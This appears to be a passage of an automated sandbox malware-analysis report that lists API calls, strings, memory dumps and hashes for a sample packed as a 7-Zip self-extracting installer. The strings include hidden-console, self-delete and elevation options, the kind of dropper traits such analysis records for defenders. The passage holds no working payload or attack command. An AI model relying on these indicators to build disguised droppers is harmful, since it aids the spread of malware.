Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: b8b76dd8c5e27833ee882a564711a00d3b36330d89391f9983688d019b8d9aa4
Instruction ID: a5dcf427e318a4acfd77b487d2af2adcd5f614de08395be0ecdd9f27d92239ae
Opcode Fuzzy Hash: b8b76dd8c5e27833ee882a564711a00d3b36330d89391f9983688d019b8d9aa4
Instruction Fuzzy Hash: 52E02634440208F6CF26FE14D80BADC73749B05704F40C222B801111818BBC8388DA81

Analysis Process: 8fdf5f1a62.exePID: 1680, Parent PID: 6508COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.7%
Total number of Nodes:	1835
Total number of Limit Nodes:	21

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
Delete, xrefs: 0040738F
7zSfxVarCmdLine1, xrefs: 0040661A
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
amd64, xrefs: 0040704E
0A, xrefs: 0040603D
BeginPrompt, xrefs: 00406AEB
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
del, xrefs: 00407004
7zSfxVarSystemPlatform, xrefs: 00405D07
FinishMessage, xrefs: 004073D6
sfxwaitall, xrefs: 00405DF8
InstallPath, xrefs: 00406941
GUIMode, xrefs: 004063D9
$A, xrefs: 0040610C
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
bpt, xrefs: 004064C7
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
MiscFlags, xrefs: 0040641F
ExecuteParameters, xrefs: 004070C7
" -, xrefs: 004066E4
A, xrefs: 00406951
GUIFlags, xrefs: 004063FC
7zSfxVarSystemLanguage, xrefs: 00405D52
HelpText, xrefs: 004068CA
OverwriteMode, xrefs: 00406395
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
A, xrefs: 00406CFC
x64, xrefs: 00407061
forcenowait, xrefs: 00406F8C
hidcon, xrefs: 00406F4A
7ZipSfx.%03x, xrefs: 00406CD1
0A, xrefs: 00406047
SfxAuthor, xrefs: 0040696B
sfxconfig, xrefs: 00405FEE, 004061C0
7zSfxString%d, xrefs: 0040628F
Shortcut, xrefs: 00407367
7-Zip SFX, xrefs: 004074B6
7zSfxVarCmdLine0, xrefs: 00405D12
sfxversion, xrefs: 00405DB3
waitall, xrefs: 00406EA5
SelfDelete, xrefs: 0040645F, 0040743C
7zSfxVarModulePlatform, xrefs: 00405CF4
pA, xrefs: 00405F55
sfxlang, xrefs: 00405D63
A, xrefs: 00406CDE
x86, xrefs: 00405CEF, 00407028
i386, xrefs: 0040703B
sfxelevation, xrefs: 00405E14, 004066DF
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
nowait, xrefs: 00406F68
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
shc, xrefs: 00406FE4
BeginPromptTimeout, xrefs: 004064E0, 00406A55
0A, xrefs: 00405E4F

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

